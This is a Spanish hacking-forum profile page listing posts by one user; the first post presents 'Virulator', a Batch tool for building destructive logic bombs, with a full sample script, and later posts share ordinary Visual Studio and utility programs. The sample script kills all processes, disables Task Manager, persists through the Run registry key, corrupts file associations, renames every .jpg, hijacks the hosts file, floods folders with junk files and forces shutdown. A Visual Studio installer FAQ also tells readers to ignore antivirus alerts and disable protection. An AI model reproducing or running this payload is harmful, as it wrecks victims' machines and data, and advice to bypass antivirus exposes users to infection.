Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - Elektro

Páginas: [1]
1
Batch - Bash / Virulator 1.0
« en: Mayo 13, 2015, 11:08:14 am »
VIRULATOR



By Elektro



Virulator es un creador de "virus" (bombas lógicas) para los amantes de Batch.

Pueden crear un virus dañino, o un simple archivo para gastar una broma pesada (O no tán pesada).

Virulator tiene multitud de opciones y tareas variadas para añadirle a tu bomba, Además, En cada tarea hay la posibilidad de añadir tareas preconfiguradas (Y algunas son bastante divertidas xD)...
PD: No se pierdan la idea que se me ocurrió para "Que no pare de correr el reloj de windows!", Es mi tarea favorita XD, Pruebenlo, Eso deja loco a cualquiera y no es dañino :).



- Estas son las opciones principales:





- Estas son las tareas disponibles por el momento:

     

     



- También dispone de una opción para visualizar el historial de tareas, Para no perder de vista lo que vamos añadiendo...





- Esto es un ejemplo de un script generado con unas cuantas tareas de Virulator:

Código: DOS
  1. @Echo OFF
  2. Title sdsdsd
  3.  
  4. :: Virus creado con [Virulator 1.0]
  5. :: By Elektro H@cker
  6. :: No me hago repsonsable del uso de este archivo.
  7.  
  8. If not exist "%TEMP%\invisible.vbs" (Echo CreateObject("Wscript.Shell"^).Run """" ^& WScript.Arguments(0^) ^& """", 0, False>"C:\Users\ADMINI~1\AppData\Local\Temp\invisible.vbs" & wscript "%TEMP%\invisible.vbs" %0) Else (Exit)
  9.  
  10.  
  11. REM Matar proceso "explorer.exe"
  12. Taskkill /F /IM "explorer.exe" >NUL 2>&1
  13.  
  14.  
  15. REM Matar todos los procesos activos del sistema
  16. For /F "Tokens=4 delims=<>" %%X in ('wmic process get name /Format:xml ^| SORT ^| find /I ".exe" ^| Find /V /I "Taskkill" ^| Find /V /I "sort" ^| Find /V /I "cmd" ^| Find /V /I "csrss" ^| Find /V /I "conhost"') Do (Taskkill /F /T /IM "%%X" >NUL 2>&1)
  17.  
  18.  
  19. REM Programar el apagado del PC en 60 segundos
  20. Shutdown /R /T 60 /C "Soy Windows y me caes mal! No me vuelvas a encender, Noob..." /F >NUL
  21.  
  22.  
  23. REM Da¤ar las extensiones de archivos de imagen
  24. ASSOC .ani=regfile >NUL 2>&1
  25. ASSOC .bmp=regfile >NUL 2>&1
  26. ASSOC .cur=regfile >NUL 2>&1
  27. ASSOC .gif=regfile >NUL 2>&1
  28. ASSOC .ico=regfile >NUL 2>&1
  29. ASSOC .img=regfile >NUL 2>&1
  30. ASSOC .jpe=regfile >NUL 2>&1
  31. ASSOC .jpg=regfile >NUL 2>&1
  32. ASSOC .jpeg=regfile >NUL 2>&1
  33. ASSOC .pcd=regfile >NUL 2>&1
  34. ASSOC .png=regfile >NUL 2>&1
  35. ASSOC .psd=regfile >NUL 2>&1
  36. ASSOC .tga=regfile >NUL 2>&1
  37. ASSOC .tif=regfile >NUL 2>&1
  38. ASSOC .tiff=regfile >NUL 2>&1
  39.  
  40.  
  41. REM Abrir multi instancia "notepad.exe"
  42. Echo @echo off>>"%TEMP%\%~n0_720826398.bat"
  43. Echo :Instance>>"%TEMP%\%~n0_720826398.bat"
  44. Echo Start /B CMD /C "notepad.exe">>"%TEMP%\%~n0_720826398.bat"
  45. Echo Goto :Instance>>"%TEMP%\%~n0_720826398.bat"
  46. Start /B CMD /C "%TEMP%\%~n0_720826398.bat"
  47.  
  48.  
  49. REM Mostrar mensaje "Te voy a joder el PC, Lammer!"
  50. Echo X=msgbox("Te voy a joder el PC, Lammer!", 16,"Virus creado por Elektro H@cker")>"%TEMP%\virulator.vbs"
  51. Start /B Wscript "%TEMP%\virulator.vbs"
  52.  
  53.  
  54. REM Bloquear pagina web "google.com"
  55. takeown /F "%windir%\System32\drivers\etc\hosts" >nul 2>&1
  56. icacls "%windir%\System32\drivers\etc\hosts" /grant "%username%":F /T >nul 2>&1
  57. Echo 127.0.1.1  google.com>>"%windir%\System32\drivers\etc\hosts"
  58. Echo 127.0.1.1  www.google.com>>"%windir%\System32\drivers\etc\hosts"
  59.  
  60.  
  61. REM Bucle infinito
  62. Echo @echo off>>"%TEMP%\%~n0_2514423018.bat"
  63. Echo :Bucle>>"%TEMP%\%~n0_2514423018.bat"
  64. Echo Echo bucleeeeeeeee >>"%TEMP%\%~n0_2514423018.bat"
  65. Echo Goto :Bucle>>"%TEMP%\%~n0_2514423018.bat"
  66. Start CMD /K "%TEMP%\%~n0_2514423018.bat"
  67.  
  68.  
  69. REM Ejecutar el virus al inicio del sistema "WindowsMachineSubProcess"
  70. Copy /Y %0 "%WINDIR%\" >NUL 2>&1
  71. Reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V "WindowsMachineSubProcess" /D "%WINDIR%\%~n0.bat" /F >NUL 2>&1  
  72.  
  73.  
  74. REM Modificar fecha de Windows (Bucle infinito secuencial)
  75. Echo :DateUP >"%TEMP%\DateUP.bat"
  76. Echo For /L %%%%a in (2000,1,2099) Do ( >>"%TEMP%\DateUP.bat"
  77. Echo    For /L %%%%b in (1,1,12) Do ( >>"%TEMP%\DateUP.bat"
  78. Echo            For /L %%%%c in (1,1,31) Do ( >>"%TEMP%\DateUP.bat"
  79. Echo                    Echo %%%%c/%%%%b/%%%%a ^| Date ^>NUL >>"%TEMP%\DateUP.bat"
  80. Echo                    ping -n 1 localhost >>"%TEMP%\DateUP.bat"
  81. Echo            ) >>"%TEMP%\DateUP.bat"
  82. Echo    ) >>"%TEMP%\DateUP.bat"
  83. Echo ) >>"%TEMP%\DateUP.bat"
  84. Echo Goto :DateUP >>"%TEMP%\DateUP.bat"
  85. Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\DateUP.bat"
  86.  
  87.  
  88. REM Modificar hora de Windows (Bucle infinito secuencial)
  89. Echo :TimeUP >"%TEMP%\TimeUP.bat"
  90. Echo For /L %%%%a in (0,1,23) Do ( >>"%TEMP%\TimeUP.bat"
  91. Echo    For /L %%%%b in (0,1,59) Do ( >>"%TEMP%\TimeUP.bat"
  92. Echo            Time %%%%a:%%%%b >>"%TEMP%\TimeUP.bat"
  93. Echo            ping -n 1 localhost >>"%TEMP%\TimeUP.bat"
  94. Echo    ) >>"%TEMP%\TimeUP.bat"
  95. Echo ) >>"%TEMP%\TimeUP.bat"
  96. Echo Goto :TimeUP >>"%TEMP%\TimeUP.bat"
  97. Start /B Wscript "%TEMP%\Invisible.vbs" "%TEMP%\TimeUP.bat"
  98.  
  99.  
  100. REM Modificar el nombre del Boot de inicio "Disco C: Infectado"
  101. label Disco C: Infectado>nul
  102.  
  103.  
  104. REM Renombrar extension ".jpg" a ".txt"
  105. FOR /R "%homedrive%\" %%X in (*.jpg) DO (Rename "%%X" "%%~nX.txt" >NUL 2>&1)
  106.  
  107.  
  108. REM Hibernar el PC
  109. RunDll32.exe powrprof.dll,SetSuspendState
  110.  
  111.  
  112. REM Deshabilitar el administrador de tareas (TASKMGR.EXE)
  113. reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
  114. reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >nul
  115.  
  116.  
  117. REM Intercambiar los botones del mouse
  118. Rundll32 User32.dll,SwapMouseButton
  119.  
  120.  
  121. REM Fake-Virus 1 "Fake25917820"
  122. (
  123. echo @echo off
  124. echo color 47
  125. echo net stop themes 2^>nul
  126. echo title INFECCION VIRAL PROFUNDA!
  127. echo echo INFECCION VIRAL!!!
  128. echo echo ERROR!!!
  129. echo echo virus - TROJAN_DEMOLISHER code #45643676
  130. echo PING -n 4 LOCALHOST ^>nul
  131. echo echo FIREWALL - FALLO
  132. echo PING -n 2 LOCALHOST ^>nul
  133. echo echo ANTI-VIRUS - FALLO
  134. echo PING -n 2 LOCALHOST ^>nul
  135. echo echo DIRECCION IP - RECHAZADA
  136. echo PING -n 2 LOCALHOST ^>nul
  137. echo echo FIRMA VIRAL: ****-****-****-8894
  138. echo PING -n 3 LOCALHOST ^>nul
  139. echo cls
  140. echo echo ESCANEANDO AREAS INFECTADAS...
  141. echo PING -n 3 LOCALHOST ^>nul
  142. echo set /a num=0
  143. echo :repeat1
  144. echo set /a num=%%num%%+1
  145. echo echo %%num%%
  146. echo if %%num%%==100 goto end
  147. echo goto repeat1
  148. echo :end
  149. echo PING -n 1 LOCALHOST ^>nul
  150. echo cls
  151. echo echo 86.5%%%% DE MEMORIA FISICA ESTA INFECTADA
  152. echo echo INFECCION FATAL!
  153. echo PING -n 3 LOCALHOST ^>nul
  154. echo ECHO LA ELIMINACION DEL DISCO INFECTADO ES NECESARIA
  155. echo PING -n 3 LOCALHOST ^>nul
  156. echo cls
  157. echo echo ELIMINANDO PARCIALMENTE EL DISCO INFECTADO [C:]
  158. echo echo PORFAVOR NO APAGUE EL SISTEMA
  159. echo PING -n 4 LOCALHOST ^>nul
  160. echo dir /b /s %%WINDIR%%\ ^| FIND /v /i "WINSXS" ^| FIND /v /i "assembly" ^| FIND /v /i "syswow64" ^| FIND /v /i "servicing"
  161. echo cls
  162. echo echo CONTENIDO DEL DISCO INFECTADO [C:] - ELIMINADO
  163. echo PING -n 3 LOCALHOST ^>nul
  164. echo cls
  165. echo echo ESCANEANDO...
  166. echo PING -n 2 LOCALHOST ^>nul
  167. echo set /a num1=0
  168. echo :repeat2
  169. echo set /a num1=%%num1%% +1
  170. echo echo %%num1%%
  171. echo if %%num1%%==100 goto end1
  172. echo goto repeat2
  173. echo :end1
  174. echo cls
  175. echo PING -n 2 LOCALHOST ^>nul
  176. echo echo 98.00%%%% DE MEMORIA FISICA HA SIDO DESINFECTADA
  177. echo PING -n 3 LOCALHOST ^>nul
  178. echo echo ERROR
  179. echo echo ERROR
  180. echo echo ERROR
  181. echo echo ERROR
  182. echo echo ERROR
  183. echo echo ERROR
  184. echo echo ERROR
  185. echo echo ERROR
  186. echo echo ERROR
  187. echo echo ERROR
  188. echo echo ERROR
  189. echo echo ERROR
  190. echo echo ERROR
  191. echo echo ERROR
  192. echo echo ERROR
  193. echo echo ERROR
  194. echo echo ERROR
  195. echo echo ERROR
  196. echo echo ERROR
  197. echo PING -n 3 LOCALHOST ^>nul
  198. echo cls
  199. echo title FALLO EN EL SISTEMA
  200. echo color 17
  201. echo echo ERROR!
  202. echo PING -n 2 LOCALHOST ^>nul
  203. echo echo MEMORIA VIRTUAL PERDIDA!
  204. echo PING -n 2 LOCALHOST ^>nul
  205. echo echo MEMORIA FISICA SOBRECALENTADA!
  206. echo PING -n 2 LOCALHOST ^>nul
  207. echo echo PROCESADOR SOBRECALENTANDOSE!
  208. echo PING -n 2 LOCALHOST ^>nul
  209. echo ECHO LA RUPTURA TOTAL DEL SISTEMA ES INMINENTE!
  210. echo PING -n 4 LOCALHOST ^>nul
  211. echo ECHO RIESGO DE FUEGO ENCONTRADO!
  212. echo ECHO APAGANDO EL SISTEMA PARA EVITAR PERDIDA DE DATOS
  213. echo shutdown /R /T 60 /C "Windows ha encontrado una amenaza de virus y debe reiniciarse. Guarde todo su trabajo ahora." /F
  214. echo PING -n 8 LOCALHOST ^>nul
  215. )>%TEMP%\Fake25917820.bat
  216. Start CMD /K %TEMP%\Fake25917820.bat
  217.  
  218.  
  219. REM Propagar 100 archicos en cada carpeta del disco duro (PRECONFIGURADO)
  220. (
  221. echo @echo off
  222. echo setlocal enabledelayedexpansion
  223. echo Set File=0
  224. echo For /F "Tokens=*" %%%%X in ('Dir /B /S /AD "%%systemdrive%%" ^| Find /V /I "Windows" ^| Find /V /I "$Recycle.Bin"'^) do (Call :COPY %%%%X^)
  225. echo Fsutil file createnew "%%*\%%Random%%%%Random%%%%Random%%%%Random%%%%Random%%" 1 ^>NUL 2^>^&1
  226. echo Set /A File+=1
  227. echo If !FILE! EQU 100 (Set /A File=0^& Goto :EOF^) ELSE (Call :COPY %%*^)
  228. )>%TEMP%\basura.bat
  229. Start /B %TEMP%\basura.bat
  230.  



- Y por último, Aquí tienen el script:
Versión 1.0C
http://pastebin.com/raw.php?i=vqUN1g3p


(CASI)Todas las tareas han sido testeadas en Windows 7, Es muy posible que muchas tareas no funcionen en versiones anteriores de Windows (Y no tengo pensado ""dar soporte"" a esas versiones).

Opinen lo que quieran... Que a mi ya no se me ocurre que más tareas añadir :laugh:.

PD: Si encuentran algún fallo/mejora/idea reportenlo aquí para corregirlo/añadirlo porfavor  ;D.
Gracias.


Espero que os guste aunque séa un poco y lo disfruteis!
Salu2.

2





Introducción



¡Buenas, foreros de Underc0de!, les traigo una vez más este aporte con todo lo necesario para empezar a programar usando Visual Studio.

Esta vez el instalador ha sido dividido en 3 instaladores diferentes para que no descarguen más de lo que realmente quieran descargar, y he corregido algunos problemas/bugs que supuestamente tenia el último instalador que compartí, como siempre, he testeado los instaladores en distintos sistemas operativos.


Instalador de Visual Studio 2013 Ultimate:
Es un instalador creado y personalizado por mi, el cual contiene todo lo necesario para personalizar la instalación del instalador original de VisualStudio 2013 Ultimate, ya que para personalizar las características que se desean instalar en el instalador de Microsoft es necesario bastante trabajo manual, el instalador además contiene todos los paquetes necesarios para realizar una instalación de forma offline (*).
En pocas palabras, es un Loader para el instalador de Microsoft, y sirve para porsonalizar las características que el instalador original no te permite personalizar y de paso para disponer de un instalador offline, nada más que eso.

Instalador del pack de recursos:
Es un instalador creado y personalizado por mi, el cual contiene todo lo necesario para empezar a programar de forma profesional, como por ejemplo Plantillas, Extensiones para la IDE, Librerías, y Controles de usuario de pago, por si esto fuera poco, he incluido el código fuente de cada librería y control (en la medida de lo posible).

Instalador de la colección de Snippets:
Es un instalador creado y personalizado por mi, el cual contiene alrededor de 800 códigos rehusables para VB.Net, estos códigos se pueden implementar facil en una aplicación, se puede acceder a ellos desde el menú contextual de la IDE, pulsando el botón derecho del mouse.

(*) La ISO original de VS2013 Ultimate pesa alrededor de 3GB y contiene todos los paquetes offline necesarios para programar con Metro Blend, SQL, C/C++, Windows Phone, etc... esto es un derroche de tamaño y por ese motivo mi instalador solo contiene los paquetes offline esenciales para programar en un entorno básico, que son las casillas marcadas por defecto que se pueden ver al ejecutar mi instalador, no requiere conexión a Internet, pero si desean marcar más casillas para instalar otras características como por ejemplo "Blend" entonces cualquier paquete adicional necesario será descargado de forma automática en la operación de instalación, esto lo hace el instalador original de Microsoft, no hay de que preocuparse por eso.

PD: El contenido del Instalador del pack de recursos está valorado en más de 25.000$, casi nah!, que lo disfruten ;).





Instalador personalizado de Visual Studio 2013 Ultimate



Características:











Tutorial/Demostración de instalación:



Notas de instalación:

Las opciones ocultas que están marcadas por defecto son esenciales para el correcto comportamiento de VisualStudio, no se pueden desmarcar.

Para poder abrir, compilar, y programar un proyecto en C++/Cli, es necesario activar las características ocultas de C++; Esto no afecta a C#.

La opción "Spanish (Español)" cambia el idioma de la IDE a Español. (se puede regresar al idioma inglés en cualquier momento a través de las opciones de VisualStudio)

La opción "Show line numbers" muestra el número de lineas del código actual en la IDE.
La opción "Dark visual theme as default" asigna el tema visual oscuro a la IDE.
La opción "Set LowerCase menu items" cambia el texto del menú de la IDE a minúsculas.

La opción "Register Vs Environment variables" registra las siguientes variables globales en el sistema, respectivamente de la ruta que eligieron para instalar:
VSAPP = C:\Program Files (x86)\Microsoft Visual Studio 12.0
VSDOC = C:\Users\NombreUsuario\Documents\Visual Studio 2013
VSIDE = C:\Program Files (x86)\Microsoft Visual Studio 12.0\Common7\IDE


Descarga:






Instalador del pack de recursos



Características:
















Tutorial/Demostración de instalación:


Notas de instalación:

Las librerías, extensiones, plantillas, y los controles especificados en el instalador se instalan en la ruta seleccionada, la ruta seleccionada debería ser la misma donde Visual Studio guarda sus documentos.

Las extensiones obviamente también se instalan en la IDE y son accesibles a través de ella.

Las plantillas instaladas son accesibles desde el menú de agregar plantillas de la IDE.

Los controles son accesibles desde el ToolBox de la IDE.

La opción "Install monospaced fonts", como su nombre indica, instala un pack de fuentes mono espaciadas, en el directorio de las fuentes de Windows (C:\Windows\Fonts)

Las otras 3 opciones del final instalan herramientas para el manejo de Strong-Names y certificados.
 
Descarga:






Instalador de la colección de Snippets



     Temáticas:

  • Application
  • Audio
  • Bytes
  • Colors
  • Console
  • Controls
  • Cryptography
  • Custom Controls
  • Custom Libraries
  • Date and Time
  • Files
  • Fonts
  • GUI
  • Hardware
  • Hashes
  • Image
  • Math
  • Miscellaneous
  • Multi-Threading
  • Process
  • String
  • Syntax
  • System
  • Textfile
  • WEB
  • XML
     



Listado completo de Snippets:

http://pastebin.com/PHDFr1EJ


Tutorial/Demostración de instalación:


Descarga:






Preguntas Frecuentes (F.A.Q.)



  • ¿Cuales son los requisitos mínimos de sistema para instalar Visual Studio 2013 Ultimate?
          Procesador a una velocidad de 1.6 GHz.
          1 GB de memoria RAM (1.5 GB si se ejecuta desde una máquina virtual).
          10 GB de espacio libre en disco duro (si instalasen todas las características).
          Disco duro a una velocidad de 5400 RPM.
          Tarjeta gráfica compatible con DirectX 9, y corriendo a una resolución de 1024x768 o mayor.
          .Net Framework 4.5.1, aunque el instalador de VisualStudio 2013 lo instala, conviene instalarlo antes.

  • ¿Cuales son los sistemas operativos soportador por VisualStudio 2013?
          Windows 8.1 (x86 y x64)
          Windows 8 (x86 y x64)
          Windows 7 (x86 y x64)
          Windows Server 2008 R2 SP1 (x64)
          Windows Server 2012 (x64)

  • ¿El instalador personalizado funciona para 32 y 64 Bits?
          Mi instalador ha pasado la prueba con éxito al instalar múltiples configuraciones en Windows 7 x64, Windows 8 x64, y Windows 8.1 x64, no lo he probado en ninguna versión x86 de Windows pero debería instalarse correctamente.

  • ¿Antes de instalar el instalador personalizado, es necesario desinstalar versiones antiguas instaladas de VisualStudio?
          Según Microsoft, no es necesario desinstalar versiones antiguas de Visual Studio para instalar Visual Studio 2013.
          Pero en mi opinión, en caso de que ya tengan el VS2013 Express edition, recomiendo desinstalarlo para realizar una instalación limpia de mi instalador.

  • ¿Debo usar permisos de Administrador para user los instaladores personalizados?
          Si, deben ejecutar los instaladores en modo Administrador para evitar cualquier posible conflicto con el sistema de archivos (FileSystem).

  • ¿Mi antivirus ha detectado un archivo de la instalación como Virus, que debo hacer?
          Debes ignorar el aviso, si algún archivo de mis instaladores se detecta como virus es un falso positivo, no debes permitir que el antivirus bloquee el archivo ya que eso podria afectar/dañar de alguna manera la instalación.
          Si desconfias del contenido de mis instaladores personalizados entonces simplemente no te descargues mi aporte, porque no quiero que luego se me culpe de algún problema post-instalación por no haberme hecho caso en lo referente a desactivar el Antivirus.

  • Instalé algunos controles de los que vienen incluidos en el instalador personalizo, pero éstos no aparecen instalados en la IDE, ¿Por que?
          Si instalan controles desde mi instalador personalizado entonces deben asegurarse de NO iniciar VisualStudio manualmente hasta que finalice el proceso de la instalación, simplemente esperen a que se termine de instalar,
          esto es muy importante, ya que los controles se instalan mediante una utilidad que necesita verificar que Visual Studio no se está ejecutando para proseguir con el siguiente control que instalar, así que si hubiera múltiples instancias abiertas daría problemas de instalación.

3
C# - VB.NET / [SOURCE] Color.NET v2.0
« en: Mayo 12, 2015, 11:31:04 am »



README:

Código: [Seleccionar]
Name         : Color .NET
Version      : 2.0
Author       : Elektro ( ElektroStudios@ElHacker.net )
Description  : Gets color information of a pixel over the screen.
Interface    : GUI
Language     : VB.NET
Framework    : 4.0
Project Type : WindowsForm Application
References   : Krypton, BotNetBar, gGlowBox, gLabel, CustomizableStrips

[+] Version 2.0 - Changes:
   
    [+] Changed:
        · All is changed, completelly new GUI and code-mechanism, application is written from zero.

Código: vb.net
  1. ' ***********************************************************************
  2. ' Assembly : Color .NET
  3. ' Author   : Elektro
  4. ' Created  : 01-09-2014
  5. ' Modified : 01-12-2014
  6. ' ***********************************************************************
  7. ' <copyright file="Main.vb" company="Elektro Studios">
  8. '     Copyright (c) Elektro Studios. All rights reserved.
  9. ' </copyright>
  10. ' ***********************************************************************





DESCRIPCIÓN:

Color .NET es una aplicación sencilla para obtener el valor ARGB de un pixel en varios formatos y con la peculiaridad de poder copiar diréctamente al portapapeles el valor con la sintaxis de VB o C# para ahorrar tiempo, eso es lo que lo diferencia de otros programas de este tipo ...aunque quizás la diferencia no sea gran cosa.

Otras caracteristicas:

· Magnificador de ventana.

· Panel de colores.

· Menú contextual con una lista de colores recientes (reciéntemente copiados).

· Teclas de acceso rápido para copiar colores.





IMÁGENES:











     







DEMOSTRACIÓN:

[ Invalid YouTube link ]





DESCARGA:

http://www.mediafire.com/download/7qu4rpnhrruby6g/Color.NET.rar

Incluye el código fuente, compilado, portable, e instalador.

4
C# - VB.NET / [SOURCE] Extended DTE Toolbox Control Installer
« en: Mayo 12, 2015, 11:30:27 am »

Descripción:

Esta aplicación sirve para instalar un user-control de forma automatizada en VisualStudio, mediante DTE.




El autor del código original (escrito en C#) es Libor Tinka ~> http://www.componentowl.com/articles/visual-studio-toolbox-control-integration#integration-dte

Estas han sido las adaptaciones que le hice al código original:

· Traducirlo a VB.NET.
· Añadir compatibilidad de instalación/desinstalación para VisualStudio 2013.
· Añadir compatibilidad con controles de tipo WindowsPresentationForm (Esta característica está en fase experimental, puede no instalarse corréctamente).
· Añadir compatibilidad con controles compilados con Framework runtime version 4.5.1.
· Mejorar y simplificar el código en zonas criticas (Parseado de argumentos, controles de errores, etc).
· Añadir documentación accesible desde la consola.


Modo de empleo:

Código: [Seleccionar]
[+] Syntax:

    DTEInstaller.exe [Mode] [Version] [Template] [Tab] [Assembly]

[+] Parameters:

    Mode      | Indicates the kind of operation to perform.
    Version   | Indicates the VisualStudio target version.
    Template  | Indicates the application template type.
    Tab       | Indicates the tab name to create on the Toolbox.
    Assembly  | Indicates the assembly filepath to install on the tab.
              |
    /?        | Display this help.

[+] Allowed parameter values:

    Mode:
    "Install", "Uninstall"

    Version:
    "Vs2005", "Vs2008", "Vs2010", "Vs2012", "Vs2013"

    Template:
    "WF", "WPF"

    Tab:
    (Anything is allowed)

    Assembly:
    (The path of an existing assembly)

[+] Usage examples:

    DTEInstaller.exe Install Vs2013 WF "Sample Tab" "C:\Sample UserControl.dll"
    (Installs the user-control on the VisualStudio 2013 WindowsForms Toolbox)




Imágenes:

( Este es el compilado Debug, que muestra información adicional )




Descarga:

-> http://ElektroStudios.tk/Extended%20DTE%20Toolbox%20Control%20Installer.zip

(enlace resubido el 29/Sep/2014)
https://www.mediafire.com/?5839cut2w67k7pu

Tengan en cuenta que, por ejemplo, para instalar un control compilado con Framework 4.5.1, no pueden usar un ensamblado compilado en una versión inferior, por eso en el source incluyo dos compilaciones:


5



Descripción:

Una aplicación para convertir archivos REG a archivos BAT,
para ser más exactos convierte un script de registro a la sintaxis que usa el comando REG.exe.

La aplicación se puede usar también por consola:

Código: [Seleccionar]
[+] Syntax:

 REG2BAT [Registry File] [Output File]

Esto es un archivo de registro convertido:

Código: DOS
  1. :: Converted with REG2BAT By Elektro H@cker
  2.  
  3. REM Windows Registry Editor Version 5.00
  4.  
  5. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Binary" /T "REG_BINARY" /D "1234567890" /F
  6. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Dword Dec" /T "REG_DWORD" /D "0x00bc614e" /F
  7. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Dword hex" /T "REG_DWORD" /D "0x12345678" /F
  8. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Expand SZ" /T "REG_EXPAND_SZ" /D "%%Temp%%\Hello" /F
  9. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Multi SZ" /T "REG_MULTI_SZ" /D "Hello\0world!\0" /F
  10. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Qword Dec" /T "REG_QWORD" /D "0x00000000000010e1" /F
  11. REG ADD "HKEY_CURRENT_USER\Test" /V "Test Qword Hex" /T "REG_QWORD" /D "0x1234567891234567" /F
  12. REG ADD "HKEY_CURRENT_USER\Test" /V "Test String" /T "REG_SZ" /D "By Elektro H@cker" /F


Imágenes:








Demostración:




Descarga:

-> http://www.mediafire.com/download/1h3zbymfhnb3spt/REG2BAT.rar



NUEVA VERSIÓN DISPONIBLE

Versión 1.2

Cambios:

· Soporte para arrastrar y soltar una cantidad indefinida de archivos REG a la ventana principal.

· Algunos bugs de conversión corregidos.



NUEVA VERSIÓN DISPONIBLE

Versión 2.3

Descarga:

-> http://www.mediafire.com/download/1h3zbymfhnb3spt/REG2BAT.rar



Lista de cambios:

Citar
Version 2.3
-----------

   
  • Added:

      · Support for convert these value types:
         REG_NONE, REG_RESOURCE_LIST, REG_RESOURCE_REQUIREMENTS_LIST and REG_FULL_RESOURCE_DESCRIPTOR.

   
  • Fixed:

      · If a value of type REG_MULTI_SZ and REG_EXPAND_SZ is empty, the program throws an error.

   
  • Changed:

      · Updated the 'Test.reg' testing file with all the new value types.


Lista de cambios de otras versiones recientes:

Citar
Version 2.2
-----------

   
  • Added:

      · Option to force registry overwritting.
      · Option to abbreviate RootKey names.

   
  • Fixed:

      · The percent characters ("%) of a 'Default' value (@=) was not correctlly converted.
        (  Solved duplicating the percent character )

   
  • Changed:

      · Extended the option 'Redirect commands to NULL' to specify better custom redirection.

Version 2.1
   -----------

   
  • Added:

      · Added support to recognize the deletion of a default value.
        ( In a Regedit Script: '"@="=-' ) 

      · 'Redirect commands to NULL' option for GUI.
         
   
  • Deleted:

      · All the 'RegEx.Split' operations, to gain speed were replaced with 'IndexOf' method.

   
  • Fixed:

      · A misstype with the BINARY value splitter that was adding an ":" character in the Batch command.
        (  Solved changing '<a>=HEX</a>' to '<a>=HEX:</a>'  )
       
      · Application version in the application settings was wrong.
        (  This can be found in the caption of an informatiion/error MessageBox ).

   
  • Changed:

      · Binary, Dword and Qword values now are shown as UPPER-CASE.
         
      . Replaced the usage of old VB6 math methods.
        ( Changed 'Chr(Val("&H" & [Byte]))' to 'Convert.ToChar(Convert.ToInt32([Byte], 16I))')
         
      · The main button text.
        ( Changed 'Click to load a registry file...' to 'Load a registry file...')

Version 2.0
   -----------

   
  • Added:

      · Progress Information for GUI.

   
  • Changed:

      · Application was written from scratch.



NUEVA VERSIÓN DISPONIBLE

Versión 2.4

Descarga:

-> http://www.mediafire.com/download/1h3zbymfhnb3spt/REG2BAT.rar



Lista de cambios:

Citar
Version 2.4
   -----------

   
  • Fixed:

      · Command redirection for CALL commands.

   
  • Changed:

      · Commentlines now are separated by empty lines.



6
C# - VB.NET / [SOURCE] GameTracker Server List 1.0
« en: Mayo 12, 2015, 11:26:56 am »

GameTracker Server List (GTSL)



By Elektro





Descripción


GTSL es una utilidad que busca servidores del juego y el lenguaje especificado en la página de GameTracker para generar un archivo de texto plano con dichos servers.

Nota: GTSL también genera un archivo Steam (vdf) con los servers, pero esto solo he testeado con CounterStrike ...por falta de medios, así que sinceramente no se si será muy util y/o compatible esa característica.





Especificaciones Técnicas


Project......: Gametracker Server List
Author.......: Elektro
Descirption..: Retrieves the specified servers from Grametracker server list.
Version......: 1.0
Dev. Language: VB.Net
Technology...: Windows Forms
Interface    : Commandline User Interface
Framework....: 4.0
Architecture.: Neutral x86/x64
Dependencies.: HtmlAgilityPack
Language.....: English
Date Release.: 04-January-2015






Imágenes












Descarga


http://www.mediafire.com/download/cxdp2hsozrve2x4/GameTracker+Server+List.rar





Saludos!

7
C# - VB.NET / [SOURCE] MasterMusik Manager v2.0
« en: Mayo 12, 2015, 11:25:57 am »

MasterMusik Manager



By Elektro





Descripción


Conjunto de herramientas todo-en-uno para administrar una colección de canciones y/o líricas.





Características


  • File Attributes Modifier
          Modifica los atributos de los archivos.

  • File Renaming
          Renombra los archivos utilizando la capitalitazión especificada (minúsculas, mayúsculas, título, etc).

  • Audio Converter
          Convierte todo tipo de archivos que no sean mp3, a mp3.
          Convierte todo archivos mp3 que superen un bitrate específico, a mp3 del bitrate especificado.
          Nota: Por defecto se utiliza la máxima calidad de conversión ajustando los parámetros del codec Lame.

  • MP3 untagging
          Elimina las etiquetas Id3v1, Id3v2, o APEv2 de archivos mp3.

  • MP3 Audio Normalizer
          Aplica una normalización no destructiva (ReplayGain) a archivos mp3.

  • MP3 recovery
          Recupera archivos mp3 dañados o con errores.

  • Lyric converter
          Convierte líricas multimedia (.lrc) a texto plano (.txt).

  • Lyric cleaner
          Elimina líricas huérfanas, es decir, líricas cuyo archivo de audio asociado no se encuentre en la colección de canciones.
          Nota: La búsqueda se realiza basándose en el nombre exacto del archivo lyric. Realizar un backup al utilizar esta opción si no entiendes el propósito de la misma.

  • File property reports
          Reporta coincidencias en el tamaño o el nombre del archivo, mediante expresiones regulares.

  • File Renaming
          Filtra las extensiones de archivo que el programa tratará como audio, video, o lírica.





Detalles Técnicos


Project......: MasterMusik Manager
Author.......: Elektro
Descirption..: Toolset to manage a music and lyric collection.
Version......: 2.0
Dev. Language: VB.Net
Technology...: Windows Forms
Framework....: 4.0
Architecture.: x86, x64, Neutral (x86/x64)
Dependencies.: MediaInfo, cButton, OOki Dialogs, ProgBar, customTabControl, WindowsAPICodePack, Kellerman Logging, TagLibSharp, ElektroComboBox, ElektroGroupBox, ElektroNumericUpDown
Language.....: English
Date Release.: 07-December-2014






Lista de cambios


Version 2.0

   
  • Added

      · Magnetic Sticker (Desktop Docking).
      · Directory filtering (selectable checkboxes).
      · Windows TaskBar Progress.
      · Logging System.

      · Renaming settings:
         File-Extension capitalization.

      · Tagging settings:
         APEv2 tag

      · Priority settings.
         Application priority.
         Thread priority.

      · Converter settings.
         Convert MP3 files to MP3

      · File filtering settings.
         Song file extensions filter.
         Lyric file extensions filter.
         
   
  • Improved

      · Interface has been redesigned for easier usage.
